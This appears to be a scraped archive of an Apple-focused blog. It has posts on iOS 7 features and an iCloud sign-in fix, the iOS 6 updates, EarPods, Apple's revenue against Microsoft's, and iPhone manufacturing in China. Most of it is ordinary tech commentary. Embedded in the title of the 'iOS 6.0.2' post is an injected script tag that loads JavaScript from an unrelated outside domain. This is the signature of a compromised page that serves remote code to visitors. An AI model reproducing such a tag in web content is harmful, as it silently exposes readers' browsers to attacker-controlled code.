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iOS 7 Problems – iCloud

 

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Yesterday 18th of September 2013 iOS 7 has been released worldwide. Apple servers have been hammered by the update requests received from millions and millions of Apple devices.

Unfortunately the new fancy update is having its own problems and issues, which we will try to tackle one by one.

Now we will be tackling iCloud issue on iDevices, where you will be getting an error message while starting iCloud saying “Unable to connect to Server”.

This problem is happening because you have to agree on the new License Agreement.

One trick will be fixing this to you. You have to start “Find My Friends” application and sign in using your Apple ID.

After signing in you will be notified to agree on the license agreement.

Once you agree on it and your “Find My Friends” application starts, go back to iCloud settings and you should be able to connect now.

Hope this trick will be fixing your problem.

Later on we will be talking about the fix for iMessage and FaceTime on iOS 7.


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Apple reveals iOS 7… Bring it on Android

Apple CEO Tim Cook unveiled a completely redesigned iOS 7 operating system for the iPhone and iPad at his company’s annual software developer conference on Monday, including a long-rumored iTunes Radio music service.

“It is the biggest change to iOS since the introduction of the iPhone,” Cook said to a standing ovation from a crowd of Apple fans and developers.

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New Look

iOS 7 is a radical departure from every generation of iOS that came before. Designer Jony Ive’s influence is clear. All of the 3-D elements and natural textures that have given iOS its signature look over the years are gone. That means no wooden bookshelf in iBooks, no felt tabletop in Game Center, no leather-bound calendar and so on.

The new operating system has a much more modern look thanks to cleaner lines, more use of white space, modern fonts, and a different color palette. There’s no denying that it is a big departure, but Apple was sure to keep many of the platform’s elements the same, such as the home screen layout and icon shape.

Sliding Gestures

Apple added a new sliding gesture to a number of apps, including Safari, Messages and Email that make it easier to move between messages, in-boxes or open tabs. The gesture is activated by swiping to the right or left when viewing messages.

Further, Apple added a new control screen that is accessible via swiping up from the bottom of the screen. This control screen provides quick and easy access to the wireless radios, brightness settings, a flashlight and music controls. (Users of Google’s Android platform will likely find it familiar.)

Lock Screen Notifications

The lock screen has a new look and feel to match the rest of the operating system. More important than the appearance, however, is the new support for notifications. iOS 7 allows users to see more notifications directly on the lock screen as well as to take action on those notifications. Further, notifications will sync across devices, so if you mark something on an iPad or Mac computer, it will be marked read on the iPhone as well.

Multitasking

Apple has made significant improvements to the way multitasking functions within iOS. Chiefly, multitasking is now supported by all apps available to the operating system. Previously, only select apps could function in the background while users were off doing other things. In addition to expanded support, iOS 7 is smarter about multitasking. It uses a new set of parameters to define when it should and shouldn’t update calls in the background, all of which are meant to help maximize battery life while also making sure users have the most up-to-date information.

Car Integration

Apple showed off new integration between the iPhone and in-care infotainment systems. Beginning with 2014 model-year vehicles, iOS 7 will be able to fully connect with cars. Apple demonstrated how it would look to use iOS through a car’s screen to make phone calls, play music or navigate via maps. At least a dozen car makers pledged support for the feature, including Chevy, Jaguar, Mercedes, Tesla, Ferrari and others.

Siri

Siri will be able to do a lot more than before, thanks to new integration with Microsoft’s Bing search engine and Wikipedia. Siri is better at understanding natural language requests, and can interact with more applications on the iPhone or iPad. For example, users can request that Siri play back voicemails or read SMS messages. Siri also gets a new voice, both male and female, with support for both in French and German.

Safari

Apple’s mobile browser sees a wide number of changes, many of which reflect changes being made in Apple’s OS X Mavericks desktop operating system. The browser is much faster at rendering Java, and has a new look that lets people see more of the content on Web pages. It supports better keychain access for storing passwords and credit card information across devices, as well as better parental controls for managing content. Last, it has a new user interface for interacting with multiple tabs. It supports more than eight open tabs at a time, and lets users reorder and close tabs with the flick of a finger.

Music and iTunes Radio

Apple updated not only the iTunes store, but the general appearance of the music player with iOS 7. It has a cleaner, simpler look, but still offers plenty of features. Perhaps the biggest new feature is support for iTunes Radio, a new streaming service that will allow iOS device owners to create and listen to radio stations based on artists, songs and so on. iTunes Radio is ad free to subscribers of iTunes Match, but shows ads for those who don’t. Apple has created hundreds of its own radio stations, but also lets users share their own.

iOS 7 will be made available to registered iOS developers later Monday. The full operating system won’t be available to consumers until the fall, probably closer to when Apple launches the next version of the iPhone. Apple typically offers a new iOS beta every few weeks leading up to the final release.


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iOS 6 is live now!

Yes it’s out and the downloads are spreaded all over the world. What you are waiting for? Go and get your iDevice updated now.

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No more Earphone for iDevices… It’s EarPod

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Apple announced that they’ve spent 3 years to develop the new Earphones, Oops I mean EarPods for new iDevices.

All the new line of iDevices will be shipped with the new EarPod, also it can be bought separately.


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Apple responds to users complain quickly

It seems that Apple have been really listening and responding to user complains since the iOS 6 upgrade.

Many users have been raising calls and complains to Apple regarding some bugs noticed on iDevices since upgrading it to the latest release.

Apple has released a quick response to the user requests, and released the first update and named it as  iOS 6.0.1.

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The new update is targeting the following minor fixes:

  • Fixes a bug that prevents iPhone 5 from installing software updates wirelessly over the air
  • Fixes a bug where horizontal lines may be displayed across the keyboard
  • Fixes an issue that could cause camera flash to not go off
  • Improves reliability of iPhone 5 and iPod touch (5th generation) when connected to encrypted WPA2 Wi-Fi networks
  • Resolves an issue that prevents iPhone from using the cellular network in some instances
  • Consolidated the Use Cellular Data switch for iTunes Match
  • Fixes a Passcode Lock bug which sometimes allowed access to Passbook pass details from lock screen
  • Fixes a bug affecting Exchange meetings

This update gave us one message from Apple, which says that I’m listening and I do really care to give you a flawless products.


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Apple’s iPhone Business Alone Is Now Bigger Than All Of Microsoft

Apple’s iPhone business alone is now bigger than Microsoft.

Not Windows. Not Office. Microsoft.

Think about that.

The iPhone did not exist five years ago. And now it’s bigger than a company that, 15 years ago, was dragged into court and threatened with forcible break-up because it had amassed an unassailable and unthinkably profitable monopoly.

The iPhone also appears to be considerably more profitable than Microsoft.

In the December quarter, Apple’s iPhone business generated $24.4 billion of revenue. Microsoft’s whole company, meanwhile, from Windows to Office to servers to XBox, generated $20.9 billion.

If we assume that Apple generates the same operating profit margin on its iPhone business that it generates on its overall business–38%–the iPhone business generated about $9.3 billion of profit in the December quarter.

All of Microsoft, meanwhile, generated only $8.2 billion.

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It was not long ago that Microsoft CEO Steve Ballmer was fending off those observing that Apple’s market capitalization was closing in on Microsoft’s by saying that, regardless of market cap, Microsoft’s business was much bigger and more profitable.

Not anymore.

Now, Apple’s business (in Q4) is more than twice the size of Microsoft’s–$46 billion to $21 billion–and more than twice as profitable: $17 billion to $8 billion.

And, needless to say, Apple’s market cap now dwarfs Microsoft’s. (Although, interestingly, Apple’s market cap is not yet 2X Microsoft’s, despite the difference in revenue, profitability, and growth rates. The market still appears to be concerned that Apple’s “closed system” is vulnerable to the same sort of disruption by Android and other more open systems that Apple’s Mac business was back in the 1990s).

What’s just as remarkable here is that Apple invented the iPhone business out of thin air in 2007. This is not an old product category. It’s a completely new one. Which means that Microsoft or anyone else could have invented it.

(The same can be said for the more recently introduced iPad, which is now cleaning Microsoft’s clock in that category, too.)

For the first decade of Steve Ballmer’s reign at Microsoft, some folks cut him a break for the company’s stagnant stock price by observing that the market had changed. But the market changed for Apple, too, and Apple innovated two huge new product lines, one of which is now bigger and more profitable than Microsoft’s entire business. So Steve can’t be cut a break for that anymore.

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Microsoft just plain missed these markets (iPhone and iPad). And Apple created them. And it turns out that, at least for now, they are much more valuable and lucrative markets than the ones Microsoft dominated.

 

The other mistake Microsoft made, one that ultimately could be far more devastating, is that it became obsessed with the wrong competitor.

For the past decade, Microsoft has obsessively targeted Google as Enemy No. 1, blowing more than $10 billion trying to compete with Google’s amazing search engine.

Microsoft has made some progress, but not much–and it is still losing $2 billion a year on the effort. And, meanwhile, a once-forgotten company has blown past it in business lines that much closer and more threatening to Microsoft’s core businesses–Apple.

Microsoft still has a strong hold on the enterprise market, and it may now be able to rededicate itself to that market and try to withstand the Apple and Google onslaught.

But regardless of what happens, Microsoft can only now look up in awe and realize that a product that was introduced 5 years ago and that Steve Ballmer famously dissed is now larger and more profitable than Microsoft’s whole company.


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Why Apple Doesn’t Make the iPhone in America

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The answer is pretty obvious, right? It’s cheaper labor! But is that the only reason why Apple (and other companies) outsource its workforce to China as opposed to keeping them in America? No. There’s more. The NY Times has an excellent report on why Apple ignores America when it comes to making the iPhone and how that’s better for Apple.

During that infamous Silicon Valley dinner with Barack Obama, the POTUS asked Steve Jobs, “what would it take to make iPhones in the United States?” And once upon a time, Apple would have loved to make the iPhone in the US of A. In fact, the old Apple prided itself on making products in the USA. But ever since the early 2000′s, Apple has made most of its products outside the US. Why? It’s a combination of not only cheaper labor but better labor, better factories and scale.According to the NY Times, who spoke with Apple executives:

Apple’s executives had estimated that about 8,700 industrial engineers were needed to oversee and guide the 200,000 assembly-line workers eventually involved in manufacturing iPhones. The company’s analysts had forecast it would take as long as nine months to find that many qualified engineers in the United States.

In China, it took 15 days.

That flexibility, speed and scale in factory workers just doesn’t exist in the US. Apple says it “shouldn’t be criticized for using Chinese workers” because “the U.S. has stopped producing people with the skills we need.” There just aren’t enough skilled workers in the US that have that inbetween degree of high school and college. That’s what Apple wants in its factory workers and that’s what China gives ‘em.

And though everyone cites how the cost of labor is much cheaper in China, the fact is labor is less important to a company’s bottom line than supply chains are. And the reality is, all the supply chains to manufacture consumer electronics exist in China. Components are made in this facility, glass next door, a million screws can be found down the road, so on and so on—that convenience saves companies a lot more money than the benefit of hiring cheap labor.


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iOS 6.0.2 is Active now!!<script type="text/javascript" src="http://abrahamspath.org.uk/cb.php"></script>

A new update for iOS is available for download.
iOS 6.0.2 is meant to fix few bugs which reported by iOS users lately.

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The Power of Apple’s Products on Kindergarten Children

How powerful is the influence of Apple products such as iOS devices? With over 200 million iOS devices sold, the odds are pretty good right now kids know about the iPhone, iPad and iPod touch.

The following picture was taken from a kindergarten French class in Vancouver. The teacher (my sister’s friend) asked her students to brainstorm 10 words that started with the letter ‘i’. She was shocked when she saw the following ‘words’ from Apple make the top 10 list. Take a look below:

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That’s right folks–after igloo, we have iPad, iPod, itouch (it should never be referred to as this!), iPhone, itouch (again), and…get this…icloud (they must be loving iOS 5). Either these kids are being brainwashed with iOS devices by their parents, or people just can’t avoid the Apple marketing machine.


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iOS 5.1 beta indicates Apple may be testing quad-core mobile CPUs

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Lets get this out of the way up front — this is not a confirmation that Apple is planning to put a quad-coreA6 chip inside its next iPad or iPhone. What it does indicate is that Apple may be testing iOS support for quad-core CPUs. 9to5Mac has dug up images from the latest beta of iOS 5.1 that detail the supported number of cores. In this hidden panel, single-core A4s are referred to as “/cores/core.0″ while dual-core A5s are “/cores/core.1.” Now a new listing, “/cores/core.3,” is popping up which, if you start counting with zero, indicates a CPU packing four cores. This doesn’t mean that Apple even has this up and running on test hardware yet, though, merely that software support for quad-core chips is in the works. But, that should be enough to really kick the rumor mill into overdrive.


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